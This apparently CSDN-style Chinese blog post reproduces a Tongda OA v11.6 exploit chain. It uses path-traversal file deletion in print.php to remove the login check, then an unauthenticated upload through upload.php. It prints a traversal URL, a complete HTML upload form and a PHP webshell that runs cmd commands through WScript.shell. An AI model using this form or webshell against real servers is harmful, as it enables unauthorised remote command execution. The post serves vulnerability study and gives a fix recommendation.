通达OA漏洞复现之第二篇 v11.6 任意文件删除&文件上传RCE ╰+攻爆jí腚メ 2023-01-16 06:21 616阅读 0赞 ### 文章目录 ### * * * 漏洞介绍 * 漏洞描述 * 影响版本 * 漏洞分析 * * 任意文件删除 * 未授权访问任意文件上传 * 实验环境及准备 * * 第一步 一路下一步 * 第二步 选择端口,配置 * 第三步 访问系统 * 复现步骤 * * 方式一通过构造文件上传· * * 第一步 访问链接 * 第二步 选择文件上传 * 第三步 去服务器查看上传的文件 * 第四步 连接 * 方式二 使用poc * * 第一步 poc更改自己的shell * 第二步 执行poc * 第三步 命令执行 * 修复建议 * 摘抄 ### 漏洞介绍 ### * 2020年8月18日,深信服安全团队发现通达OA V11.6 版本存在RCE漏洞。 * 该漏洞主要由通达OA V11.6版本的文件删除漏洞,结合通达OA <V11.7版本的后台文件上传漏洞(需特殊权限)造成。 * 攻击者可通过文件删除漏洞将身份验证文件删除,从而进行未授权恶意文件上传,最终获取服务器系统权限。 ### 漏洞描述 ### * 该漏洞是由于print.php存在任意文件删除漏洞, * 通过删除通达OA身份认证文件auth.inc.php达到绕过登录限制, * 结合任意文件上传达到RCE的效果 ### 影响版本 ### * 通达OA<v11.5&v11.6版本 * 任意文件删除仅影响11.6、未授权访问影响<11.5 ### 漏洞分析 ### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70] #### 任意文件删除 #### 漏洞触发点位于`module/appbuilder/assets/print.php` ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1] 传入参数`guid`通过`../`进行目录穿越实现任意文件删除 这里可以看到 页面获取 guid参数的值 使用**file\_exists函数**判断文件是否存在 并未进行校验 就执行unlink删除文件 可以本地在 **\\webroot\\inc** 目录创建 2021test.txt 文件 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2] 然后访问 \*\*http://xxx.xxx.xxx.xxx/module/appbuilder/assets/print.php?guid=…/…/…/webroot/inc/2021test.txt 就会删除这个 2021test.txt 文件,也代表可以删除 **auth.inc.php** 登录检验文件 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4] #### 未授权访问任意文件上传 #### 漏洞触发点位于`general/data_center/utils/upload.php` 在第一行包含了文件 **auth.inc.php** 可以看到这个文件用于检验是否登录,未登录的情况无法利用这个漏洞 ![\[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I0YW2PlB-1619234488376)(images\\2-80.png)\]][img-I0YW2PlB-1619234488376_images_2-80.png] 判断变量 **$action** 是否为 upload,再判断文件类型,如果不为 xls 和 img 则进入else分支 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6] 在这段代码中,如果不存在 **$from\_rep** 变量则会跳到如下代码 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7] 这里直接将 **$repkid** 变量进行拼接,也就是说可以通过目录穿越来上传恶意文件到指定目录 ### 实验环境及准备 ### #### 第一步 一路下一步 #### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12] #### 第二步 选择端口,配置 #### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13] #### 第三步 访问系统 #### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15] ### 复现步骤 ### #### 方式一通过构造文件上传· #### ##### 第一步 访问链接 ##### <form action="http://192.168.232.211/general/data_center/utils/upload.php" method="post" enctype="multipart/form-data"> <input type="text"name='filetype' value ='ghtwf01'></input> <input type="text"name='action' value ='upload'></input> <input type="text"name='repkid' value ='../../../'></input> <input type="file" name="FILE1"></input> <input type="submit" ></input> </body> </form> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16] ##### 第二步 选择文件上传 ##### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17] ##### 第三步 去服务器查看上传的文件 ##### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18] ##### 第四步 连接 ##### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19] #### 方式二 使用poc #### ##### 第一步 poc更改自己的shell ##### (绕过的webshell) <?php $command=$_GET['peiqi']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c ".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20] ##### 第二步 执行poc ##### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22] ##### 第三步 命令执行 ##### ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 23] #### 修复建议 #### * 官方已经发布V11.7新版本,请受影响的用户更新到最新版本 ### 摘抄 ### -------------------- 那时我们有梦,关于文学,关于爱情, 关于穿越世界的旅行。 如今我们深夜饮酒,杯子碰到一起, 都是梦破碎的声音。 – 北岛 《波兰来客》 -------------------- [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221022/f87408760fda4316a1ed059487c9e9bb.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221022/f265dd2e0a704b2ebee8ccfd636d35d8.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: /images/20221022/5569518ede614533906820ae7dcab035.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: /images/20221022/f8d8b5febd50470c8f4b28b2eb7ca85b.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: /images/20221022/ffe234d3f5014ea2b833ffee1197719a.png [img-I0YW2PlB-1619234488376_images_2-80.png]: /images/20221022/9922123e5add4b5d9152155e6b0d1fdf.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 5]: /images/20221022/d10fbfff6ecd4de0a459e154aa0c60dc.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 6]: /images/20221022/08afa63e2a774b46b114fb4deba79a66.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 7]: /images/20221022/b92858111e544dc588734171d1ff9074.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 8]: /images/20221022/628b16741c784b29ad14558b07849775.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 9]: /images/20221022/023567c788d44c24a92afa88ffc361a7.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 10]: /images/20221022/793cf3d1b13c47c69fa6884d51d9aefc.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 11]: /images/20221022/d89db7f13ef7435ca801d89cb9e64949.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 12]: /images/20221022/1f47bfa7f6d0469ebd52dd108d6df302.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 13]: /images/20221022/e5e51e4ad9624e8fb9e07fa62142518a.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 14]: /images/20221022/96a20c3b8d794e78a49c07bdb554192d.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 15]: /images/20221022/cbb4f39c870e4d0f99bc50a680c02af6.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 16]: /images/20221022/4efb70f3b7a34a85932bae81bf49e2f3.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 17]: /images/20221022/af6f71674ded4534923287eba0fd3eb6.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 18]: /images/20221022/8ca3201722ab4bf8b887a4ed1ad4672c.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 19]: /images/20221022/b25bd069d2dd4c3a83e0c0f46fff1b44.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 20]: /images/20221022/9269e98a003241ee8c9cdb679292d40d.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 21]: /images/20221022/9eb33881d1ef4b5e9cd25087a8a7044c.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 22]: /images/20221022/5fe413add3ef482bb472ba30bf637952.png [watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 23]: /images/20221022/62b5a471e4984598ae22c4fd4b1c67e8.png
还没有评论,来说两句吧...